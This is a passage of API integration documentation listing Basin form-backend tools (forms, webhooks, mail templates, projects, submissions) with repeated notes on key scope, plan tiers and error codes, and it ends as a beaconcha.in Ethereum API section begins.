every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/form_views. Scopes: api. basin_get_api_v1_form_views_by_id (read) — Get a legacy form view via GET /api/v1/form_views/{id}. Retrieve one legacy Form Builder (Form.io) form view by its id. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. LEGACY, AND NOT FORM STUDIO: Basin's API reference states that /api/v1/form_views exposes read-only records from the legacy Form Builder (Form.io), and that 'a legacy form_view schema is not a Form Studio schema'. There is no public endpoint that returns a Form Studio field schema, and Form Studio fields cannot be created or edited through any API -- those are dashboard-only. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/form_views/{id}. Scopes: api. basin_get_api_v1_form_webhooks (read) — List form webhooks via GET /api/v1/form_webhooks. List the webhooks Basin fires when a submission arrives, with each one's target URL, payload format, enabled flag, spam-trigger flag and delivery-failure counters. The optional `query` filter searches by name, id, url and associated form_id. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/form_webhooks. Scopes: api. basin_get_api_v1_form_webhooks_by_id (read) — Get a form webhook via GET /api/v1/form_webhooks/{id}. Retrieve one form webhook by its id, including its delivery failure count and the time of its last failure. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/form_webhooks/{id}. Scopes: api. basin_get_api_v1_forms (read) — List forms via GET /api/v1/forms. List the forms the connected account can see, with each one's configuration and its inbox, spam and trash counts. The optional `query` filter searches by id, name, uuid and project_id. KEY SCOPE: Basin's Authentication guide lists this under the ACCOUNT API key ('CRUD forms', 'Listing domains'). A form-scoped API key is documented as reaching one form only, so this action is expected to fail on one -- connect an account key (Account Settings -> API Settings) for it. Agentic Fabriq replaces `turnstile_secret` with a withheld marker in every Basin reply, at any depth: it is the form owner's Cloudflare Turnstile SECRET key, and a tool result reaches the model's context and the audit log. It can still be SET through this action; it cannot be read back. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/forms. Scopes: api. basin_get_api_v1_forms_by_id (read) — Get a form via GET /api/v1/forms/{id}. Retrieve one form's full configuration: its endpoint uuid, project, timezone, redirect and branding, notification and autoresponse settings, spam protection, retention and counts. KEY SCOPE: Basin's Authentication guide lists this under the ACCOUNT API key ('CRUD forms', 'Listing domains'). A form-scoped API key is documented as reaching one form only, so this action is expected to fail on one -- connect an account key (Account Settings -> API Settings) for it. Agentic Fabriq replaces `turnstile_secret` with a withheld marker in every Basin reply, at any depth: it is the form owner's Cloudflare Turnstile SECRET key, and a tool result reaches the model's context and the audit log. It can still be SET through this action; it cannot be read back. Form Studio field definitions are NOT part of this: Basin states that adding, removing or reordering Form Studio fields, editing themes and survey structure, and publishing hosted embeds are dashboard-only. This action reaches the form RECORD -- routing, notifications, spam settings, branding and retention. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/forms/{id}. Scopes: api. basin_get_api_v1_mail_templates (read) — List mail templates via GET /api/v1/mail_templates. List the custom email templates belonging to one project. `project_id` is REQUIRED -- mail templates are addressed per project, and Basin answers 404 when the project is not accessible. `page_size` is capped by Basin at 20. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/mail_templates. Scopes: api. basin_get_api_v1_mail_templates_by_id (read) — Get a mail template via GET /api/v1/mail_templates/{id}. Retrieve one mail template by its numeric id. Basin answers 404 when the template is not accessible to this key. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/mail_templates/{id}. Scopes: api. basin_get_api_v1_projects (read) — List projects via GET /api/v1/projects. List the projects the connected account can see. A project groups forms and owns their mail templates. The optional `query` filter searches by id and name. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/projects. Scopes: api. basin_get_api_v1_projects_by_id (read) — Get a project via GET /api/v1/projects/{id}. Retrieve one project by its id. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/projects/{id}. Scopes: api. basin_get_api_v1_submissions (read) — List submissions via GET /api/v1/submissions. List submissions, newest first by default. `form_id` is the id in the form's endpoint URL (in https://usebasin.com/f/FORM_ID, the FORM_ID); omit it to query every form the key reaches. `filter_by` takes 'new', 'spam', 'trash' or 'all'; `order_by` takes 'date_asc', 'date_desc', 'email_asc' or 'email_desc'; `date_range` is 'YYYY-MM-DD+to+YYYY-MM-DD' and is read in the queried form's timezone, or the account timezone for a global query. Submissions carry whatever the visitor typed, so a reply may contain personal data. KEY SCOPE: Basin's Authentication guide lists submissions under BOTH key types -- an account key reaches every form's submissions, a form-scoped key reaches its own form's. With a form key, a submission belonging to another form answers 403 or 404 rather than succeeding quietly. Submissions cannot be CREATED through this API -- Basin supports index, show, update and destroy only. A visitor's submission arrives at the unauthenticated public form endpoint POST https://usebasin.com/f/, which is not part of this integration. Tags cannot be assigned at submission time either; lead tags and rules are configured in the Basin dashboard. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/submissions. Scopes: api. basin_get_api_v1_submissions_by_id (read) — Get a submission via GET /api/v1/submissions/{id}. Retrieve one submission by its numeric id, with its payload, spam/read/trash state, the submitting IP, referrer and user agent, and any attachments. The payload is whatever the visitor typed, so a reply may contain personal data. KEY SCOPE: Basin's Authentication guide lists submissions under BOTH key types -- an account key reaches every form's submissions, a form-scoped key reaches its own form's. With a form key, a submission belonging to another form answers 403 or 404 rather than succeeding quietly. Submissions cannot be CREATED through this API -- Basin supports index, show, update and destroy only. A visitor's submission arrives at the unauthenticated public form endpoint POST https://usebasin.com/f/, which is not part of this integration. Tags cannot be assigned at submission time either; lead tags and rules are configured in the Basin dashboard. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/submissions/{id}. Scopes: api. basin_patch_api_v1_submissions_by_id (write) — Update a submission via PATCH /api/v1/submissions/{id}. Change a submission's state or captured values. Basin documents the state fields as `spam`, `read` and `trash`; `email` and `payload_params` carry the captured values. Setting trash: true is the reversible alternative to deleting a submission. KEY SCOPE: Basin's Authentication guide lists submissions under BOTH key types -- an account key reaches every form's submissions, a form-scoped key reaches its own form's. With a form key, a submission belonging to another form answers 403 or 404 rather than succeeding quietly. Submissions cannot be CREATED through this API -- Basin supports index, show, update and destroy only. A visitor's submission arrives at the unauthenticated public form endpoint POST https://usebasin.com/f/, which is not part of this integration. Tags cannot be assigned at submission time either; lead tags and rules are configured in the Basin dashboard. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. PATCH /api/v1/basin/api/v1/submissions/{id}. Scopes: api. basin_post_api_v1_form_webhooks (write) — Create a form webhook via POST /api/v1/form_webhooks. Register a webhook Basin fires when a submission arrives on the form named by `form_id`. Basin answers 401 rather than 403 when the key may not create a webhook on that form, and 422 when the body is rejected -- this is the one operation in the integration whose spec documents a 401. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. POST /api/v1/basin/api/v1/form_webhooks. Scopes: api. basin_post_api_v1_forms (write) — Create a form via POST /api/v1/forms. Create a form under a project the account owns or administers, and receive the endpoint uuid visitors post to. Basin answers 422 when the body is rejected. KEY SCOPE: Basin's Authentication guide lists this under the ACCOUNT API key ('CRUD forms', 'Listing domains'). A form-scoped API key is documented as reaching one form only, so this action is expected to fail on one -- connect an account key (Account Settings -> API Settings) for it. Agentic Fabriq replaces `turnstile_secret` with a withheld marker in every Basin reply, at any depth: it is the form owner's Cloudflare Turnstile SECRET key, and a tool result reaches the model's context and the audit log. It can still be SET through this action; it cannot be read back. Form Studio field definitions are NOT part of this: Basin states that adding, removing or reordering Form Studio fields, editing themes and survey structure, and publishing hosted embeds are dashboard-only. This action reaches the form RECORD -- routing, notifications, spam settings, branding and retention. The custom sending-domain fields (domain_id, domain_email) need Pro or above -- a plan boundary inside the Growth-and-up API gate. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. POST /api/v1/basin/api/v1/forms. Scopes: api. basin_post_api_v1_mail_templates (write) — Create a mail template via POST /api/v1/mail_templates. Create a custom email template in a project. The body is wrapped in a `mail_template` object, and `name` and `project_id` are both required inside it. `body` is raw HTML, capped by Basin at 262144 bytes; a blank body is accepted. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. POST /api/v1/basin/api/v1/mail_templates. Scopes: api. basin_post_api_v1_projects (write) — Create a project via POST /api/v1/projects. Create a project to group forms under. Basin answers 422 when the body is rejected. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. POST /api/v1/basin/api/v1/projects. Scopes: api. basin_post_api_v1_submissions_by_id_refire_webhooks (write) — Re-fire webhooks for one submission via POST /api/v1/submissions/{id}/refire_webhooks. Queue every enabled webhook on the submission's form to fire again for that one submission -- the repair for a webhook target that was down. The receiving system sees a second delivery of the same submission, so it must tolerate duplicates. Basin answers 404 when the submission belongs to another user. KEY SCOPE: Basin's Authentication guide lists submissions under BOTH key types -- an account key reaches every form's submissions, a form-scoped key reaches its own form's. With a form key, a submission belonging to another form answers 403 or 404 rather than succeeding quietly. This is the one Basin operation whose documentation names the form-key consequence directly: a 403 here means the submission does not belong to the form whose API key was used. Submissions cannot be CREATED through this API -- Basin supports index, show, update and destroy only. A visitor's submission arrives at the unauthenticated public form endpoint POST https://usebasin.com/f/, which is not part of this integration. Tags cannot be assigned at submission time either; lead tags and rules are configured in the Basin dashboard. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. POST /api/v1/basin/api/v1/submissions/{id}/refire_webhooks. Scopes: api. basin_post_api_v1_submissions_refire_webhooks (write) — Re-fire webhooks for several submissions via POST /api/v1/submissions/refire_webhooks. Queue webhooks to fire again for a list of submissions named by `submission_ids`, which is required. Every receiving system sees a second delivery of each submission, so this is a bulk re-delivery and not a read. Basin answers 422 when no submission_ids are supplied. KEY SCOPE: Basin's Authentication guide lists submissions under BOTH key types -- an account key reaches every form's submissions, a form-scoped key reaches its own form's. With a form key, a submission belonging to another form answers 403 or 404 rather than succeeding quietly. Submissions cannot be CREATED through this API -- Basin supports index, show, update and destroy only. A visitor's submission arrives at the unauthenticated public form endpoint POST https://usebasin.com/f/, which is not part of this integration. Tags cannot be assigned at submission time either; lead tags and rules are configured in the Basin dashboard. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. POST /api/v1/basin/api/v1/submissions/refire_webhooks. Scopes: api. basin_put_api_v1_form_webhooks_by_id (write) — Update a form webhook via PUT /api/v1/form_webhooks/{id}. Change a form webhook's name, target url, payload format, enabled state, spam-trigger behaviour or the form it belongs to. Basin replaces the fields the body carries; omitted fields are left as they were. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. PUT /api/v1/basin/api/v1/form_webhooks/{id}. Scopes: api. basin_put_api_v1_forms_by_id (write) — Update a form via PUT /api/v1/forms/{id}. Change a form's configuration. The notification recipient fields follow Basin's own three-way rule: OMIT the field to leave the current recipients unchanged, send an empty string to remove them all, or send a comma-separated list to replace them -- and a newly added address must be verified before it receives anything. Basin answers 422 when a confirmation mail template belongs to another account. KEY SCOPE: Basin's Authentication guide lists this under the ACCOUNT API key ('CRUD forms', 'Listing domains'). A form-scoped API key is documented as reaching one form only, so this action is expected to fail on one -- connect an account key (Account Settings -> API Settings) for it. Agentic Fabriq replaces `turnstile_secret` with a withheld marker in every Basin reply, at any depth: it is the form owner's Cloudflare Turnstile SECRET key, and a tool result reaches the model's context and the audit log. It can still be SET through this action; it cannot be read back. Form Studio field definitions are NOT part of this: Basin states that adding, removing or reordering Form Studio fields, editing themes and survey structure, and publishing hosted embeds are dashboard-only. This action reaches the form RECORD -- routing, notifications, spam settings, branding and retention. The custom sending-domain fields (domain_id, domain_email) need Pro or above -- a plan boundary inside the Growth-and-up API gate. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. PUT /api/v1/basin/api/v1/forms/{id}. Scopes: api. basin_put_api_v1_mail_templates_by_id (write) — Update a mail template via PUT /api/v1/mail_templates/{id}. Change a mail template's name or HTML body. The body is wrapped in a `mail_template` object. `body` is raw HTML, capped by Basin at 262144 bytes; a blank body is accepted. Optional `if_match` carries an RFC 7232 strong ETag as the `If-Match` request header; Basin answers 409 when the stored template has moved on. Omit it and the update is last-write-wins, which is Basin's documented default. Agentic Fabriq refuses a value that is not an ETag rather than escaping it, because this is the one place a caller-chosen value reaches a header position. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. PUT /api/v1/basin/api/v1/mail_templates/{id}. Scopes: api. basin_put_api_v1_projects_by_id (write) — Update a project via PUT /api/v1/projects/{id}. Rename a project. `name` is the only field Basin accepts here. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. PUT /api/v1/basin/api/v1/projects/{id}. Scopes: api. ================================================================================ ## beaconcha.in URL: https://www.agenticfabriq.com/integrations/beaconchain Section: Integrated Tools beaconcha.in — 50 MCP tools Provider key: beaconchain. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. beaconchain_post_api_v2_ethereum_block (read) — Provides comprehensive details about a specific execution layer block, excluding rewards. For reward details, refer to [v2/ethereum/block/rewards](https://docs.beaconcha.in/api-reference/ethereum/block/rewards). Execution layer blocks contain transactions and state changes, while consensus layer slots manage validator duties and finality. Since the Merge (Proof-of-Stake transition), each execution layer block corresponds to a consensus layer slot, though their numbers differ. This endpoint delivers an overview of the requested block, including its slot reference (if applicable), block hash, timestamp, gas usage, transaction counts, and other key metrics. For pre-Merge blocks, consensus layer references will be null. Query options include block number or keywords like "latest" and "finalized" for the most recent or finalized block. beaconcha.in POST /api/v2/ethereum/block. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/block. Scopes: api. beaconchain_post_api_v2_ethereum_block_mev_bids (read) — Returns the full per-relay bid ladder for a single block's slot — every recorded relay bid with its value, arrival time, relay, builder, and source. Intended for research and auditing. **Use case guide:** [Investigate a Block](https://docs.beaconcha.in/use-cases/investigate-mev-block) shows how to filter, paginate, and audit the relay bid ladder. **Data provenance:** The bid ladder is collected from offchain relay APIs and streams. Relay-reported timestamps, identities, and bids are not independently verifiable from onchain data, and coverage 